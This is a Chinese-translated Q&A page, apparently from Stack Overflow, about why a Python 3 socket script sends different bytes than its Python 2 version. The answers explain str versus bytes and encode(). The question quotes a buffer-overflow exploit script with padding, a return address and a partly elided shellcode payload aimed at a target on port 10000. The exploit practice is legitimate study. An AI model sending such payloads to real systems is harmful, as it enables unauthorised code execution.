【问题标题】:Difference between Python3 and Python2 - socket.send dataPython3和Python2的区别——socket.send数据
【发布时间】:2015-06-13 08:29:51
【问题描述】:

我正在练习一些缓冲区溢出技术和 我在发送 socked 数据时遇到了一个奇怪的问题。

我有这两个几乎相同的代码,除了事实 在 Python3 代码中,我将 sock.send 更改为对 字符串(在 Python2 中不需要)

Python2 代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close

Python 3 代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close

我发送缓冲区,然后使用免疫调试器检查 EIP/SEP 值 我看到我在 Python2 代码和 Python3 之间得到了不同的值 代码。这怎么可能??

两者的缓冲区相同,因此调试器中的 EIP/SEP 应该相同。

换句话说,从服务器的角度来看(获取套接字数据) 看起来它获得了不同的数据结构或类似的东西。

有什么想法吗?

谢谢。

【问题讨论】:

  • 尝试使用b"\x70\xfb\x22\x00",即确保您使用的是bytes 而不是str,然后删除encode()。在 Python 3 中,str 是一个 unicode 字符串,encode() 使用默认字符集对它们进行编码,因此您不会发送您指定的字节。
  • 你是对的,谢谢。如果我将 b 放在该代码中的任何 str 之前,它就可以工作。我认为“encode()”会将它们全部转换为字节。那么如何在一个命令中“字节”所有这些,而不是在每一行中“b”?谢谢 -

标签: sockets python-3.x buffer-overflow


【解决方案1】:

您可以使用six.b使其同时兼容python2和python3:

import six

...
sock.send(six.b(buffer))

https://six.readthedocs.io/#six.b

【讨论】:

    【解决方案2】:

    您的服务器和调试器是正确的 - 缓冲区内容不相同。

    在python 2和3中,如果你写buffer = "A"*268,缓冲区的类型是str。但是,str 代表 is completely different in the two versions。

    在 python 2 中,str 实际上是一个字节数组。在 python 3 中,它是 人类可读字符的序列,而不是 字节(在 python 2 中称为“unicode 字符串”)

    如果您进一步.encode(),您将使用utf-8 将字符序列转换为字节序列。这个"changes the content" 你的字符串,可以这么说

    您可能想要做的是buffer = b"A"*268,它将使用bytes 而不是str。您还需要在所有连接的字节序列前加上 b 前缀

    【讨论】:

    • 你是对的,谢谢。如果我将 b 放在该代码中的任何 str 之前,它就可以工作。我认为“encode()”会将它们全部转换为字节。那么如何在一个命令中“字节”所有这些,而不是在每一行中“b”?谢谢
    • @user1641071 encode 确实将 str 转换为 bytes- 只是不是你想要的字节:) 我认为你不能在没有b,如果您首先将它们声明为 str,也不会“转换”。但我可能错了,您可能应该为此提出一个新问题
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2021-10-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2016-03-19
    • 1970-01-01
    相关资源
    最近更新 更多